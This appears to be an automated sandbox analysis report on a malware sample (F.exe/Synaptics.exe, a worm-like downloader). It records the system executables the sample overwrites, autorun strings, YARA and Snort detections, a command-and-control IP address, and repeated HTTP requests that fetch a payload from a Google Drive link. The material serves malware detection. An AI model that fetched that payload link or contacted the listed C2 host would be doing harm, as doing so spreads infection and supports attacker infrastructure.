Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\Uninstall.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\aimgr.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe	Jump to behavior

Source: F.exe, 00000000.00000003.2045892912.00000000021B4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: F.exe, 00000000.00000003.2045892912.00000000021B4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: F.exe, 00000000.00000003.2045892912.00000000021B4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: F.exe, 00000002.00000000.2048183618.0000000000401000.00000020.00000001.01000000.00000005.sdmp	Binary or memory string: [autorun]
Source: F.exe, 00000002.00000000.2048183618.0000000000401000.00000020.00000001.01000000.00000005.sdmp	Binary or memory string: [autorun]
Source: F.exe, 00000002.00000000.2048183618.0000000000401000.00000020.00000001.01000000.00000005.sdmp	Binary or memory string: autorun.inf
Source: F.exe, 00000002.00000003.2060756017.000000000089B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: F.exe, 00000002.00000003.2060756017.000000000089B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: F.exe, 00000002.00000003.2060756017.000000000089B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: Synaptics.exe, 00000004.00000003.2134791646.00000000006F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000004.00000003.2134791646.00000000006F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000004.00000003.2134791646.00000000006F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: Synaptics.exe, 00000004.00000003.2067928599.000000000299E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000004.00000003.2067928599.000000000299E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000004.00000003.2067928599.000000000299E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: Synaptics.exe, 00000004.00000003.2068336947.0000000002134000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000004.00000003.2068336947.0000000002134000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000004.00000003.2068336947.0000000002134000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: Synaptics.exe, 00000004.00000003.2067838228.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000004.00000003.2067838228.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000004.00000003.2067838228.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: F.exe	Binary or memory string: [autorun]
Source: F.exe	Binary or memory string: [autorun]
Source: F.exe	Binary or memory string: autorun.inf
Source: Synaptics.exe.2.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.2.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.2.dr	Binary or memory string: autorun.inf

Source: C:\Users\user\Desktop\F.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\Cache\	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	File opened: C:\Documents and Settings\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\	Jump to behavior

Source: excel.exe

Memory has grown: Private usage: 2MB later: 67MB

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2832617 ETPRO TROJAN W32.Bloat-A Checkin 192.168.2.5:49714 -> 69.42.215.252:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 45.141.26.232

Uses dynamic DNS services

Source: unknown

DNS query: name: freedns.afraid.org

Yara detected Generic Downloader

Source: Yara match	File source: 2.3.F.exe.8cc070.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.._cache_F.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.F.exe.2257504.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.2a4f458.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.F.exe.4b6c38.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.21e5438.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.._cache_F.exe.12ac1a78.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\ProgramData\XClient.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Desktop\._cache_F.exe, type: DROPPED

Source: global traffic

TCP traffic: 192.168.2.5:49849 -> 45.141.26.232:6666

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 13.107.246.60 13.107.246.60
Source: Joe Sandbox View	IP Address: 69.42.215.252 69.42.215.252

Source: Joe Sandbox View	ASN Name: TUT-ASUS TUT-ASUS
Source: Joe Sandbox View	ASN Name: AWKNET-LLCUS AWKNET-LLCUS
Source: Joe Sandbox View	ASN Name: SPECTRAIPSpectraIPBVNL SPECTRAIPSpectraIPBVNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

DNS query: name: ip-api.com

Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.232

Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=A3_DWj-uYlS8SG5SSf4h2bgber-DsAFUfVFi3FxDtVi6jdEuIU6gVf6qK91beLGBvOf1aDV0Nep13pF86ny2gczGzT-3nbHCtLKC8cn0g8_K7gZDcqKMbM307ceTmcEP8JCdf4BXdMiJYzViINyBdRPd8CGRJRG-5NAuxhs9Z5M
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=hvNqLQGGTW_jz-Z-2Gifs1ZmMOcy9V7YwuCTkJ9UsaPlvIDjrgJvd-weTfYLZ6plN_u27mHeGvvWsNasfuhssEgcVrwaGUfDL1rg6SbcVNO2Nw5L9UyXxHRiiCXTd3QV4aREWJhGdvGnJQwd-rryP0B_x1r3oXK265LQum1pmfM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=hvNqLQGGTW_jz-Z-2Gifs1ZmMOcy9V7YwuCTkJ9UsaPlvIDjrgJvd-weTfYLZ6plN_u27mHeGvvWsNasfuhssEgcVrwaGUfDL1rg6SbcVNO2Nw5L9UyXxHRiiCXTd3QV4aREWJhGdvGnJQwd-rryP0B_x1r3oXK265LQum1pmfM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=hvNqLQGGTW_jz-Z-2Gifs1ZmMOcy9V7YwuCTkJ9UsaPlvIDjrgJvd-weTfYLZ6plN_u27mHeGvvWsNasfuhssEgcVrwaGUfDL1rg6SbcVNO2Nw5L9UyXxHRiiCXTd3QV4aREWJhGdvGnJQwd-rryP0B_x1r3oXK265LQum1pmfM
